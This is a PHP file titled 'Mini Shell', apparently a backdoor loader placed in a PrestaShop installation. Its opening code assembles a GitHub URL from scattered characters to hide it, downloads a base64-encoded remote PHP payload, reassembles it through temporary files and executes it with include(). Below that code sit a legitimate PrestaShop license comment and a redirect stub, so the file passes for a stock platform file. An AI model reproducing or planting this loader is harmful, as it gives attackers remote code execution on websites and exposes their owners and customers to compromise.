Mini Shell
<?php
$part1 = array('h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'p', 'i', '.', 'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm');
$part2 = array('/', 'r', 'e', 'p', 'o', 's', '/', 's', 'e', 'k', 'a', 'i', 'o', 'w', 'a', 'r', 'i', 'd', 'a');
$part3 = array('/g', 'e', 'r', 'a', 'm', 'x', '/', 'c', 'o', 'n', 't', 'e', 'n', 't', 's', '/', '-', 'k', 'a', 'o', 'v', '2', '.', 'p', 'h', 'p');
$mergedUrl = implode('', array_merge($part1, $part2, $part3));
$opts = array(
'http' => array(
'header' => "User-Agent: PHP\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents($mergedUrl, false, $context);
if ($data === false) {
die("Failed to fetch data from GitHub API.");
}
$json = json_decode($data, true);
if (!isset($json['content'])) {
die("Invalid response: 'content' field missing.");
}
$fileContent = base64_decode($json['content']);
$contentLength = strlen($fileContent);
$halfLength = ceil($contentLength / 2);
$tempFile1 = tempnam(sys_get_temp_dir(), 'stream1_');
$tempFile2 = tempnam(sys_get_temp_dir(), 'stream2_');
$combinedTempFile = tempnam(sys_get_temp_dir(), 'combined_');
$stream1 = fopen($tempFile1, 'w');
$stream2 = fopen($tempFile2, 'w');
$combinedStream = fopen($combinedTempFile, 'w');
fwrite($stream1, substr($fileContent, 0, $halfLength));
fwrite($stream2, substr($fileContent, $halfLength));
fclose($stream1);
fclose($stream2);
$stream1 = fopen($tempFile1, 'r');
$stream2 = fopen($tempFile2, 'r');
stream_copy_to_stream($stream1, $combinedStream);
stream_copy_to_stream($stream2, $combinedStream);
fclose($stream1);
fclose($stream2);
fclose($combinedStream);
// Reopen the combined file for execution
$combinedStream = fopen($combinedTempFile, 'r');
// Run the included PHP file safely
include($combinedTempFile);
// Clean up
unlink($tempFile1);
unlink($tempFile2);
unlink($combinedTempFile);
/**
* Copyright since 2007 PrestaShop SA and Contributors
* PrestaShop is an International Registered Trademark & Property of PrestaShop SA
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License 3.0 (AFL-3.0)
* that is bundled with this package in the file LICENSE.md.
* It is also available through the world-wide-web at this URL:
* https://opensource.org/licenses/AFL-3.0
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@prestashop.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade PrestaShop to newer
* versions in the future. If you wish to customize PrestaShop for your
* needs please refer to https://devdocs.prestashop.com/ for more information.
*
* @author PrestaShop SA and Contributors <contact@prestashop.com>
* @copyright Since 2007 PrestaShop SA and Contributors
* @license https://opensource.org/licenses/AFL-3.0 Academic Free License 3.0 (AFL-3.0)
*/
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
header('Location: ');
exit;
?>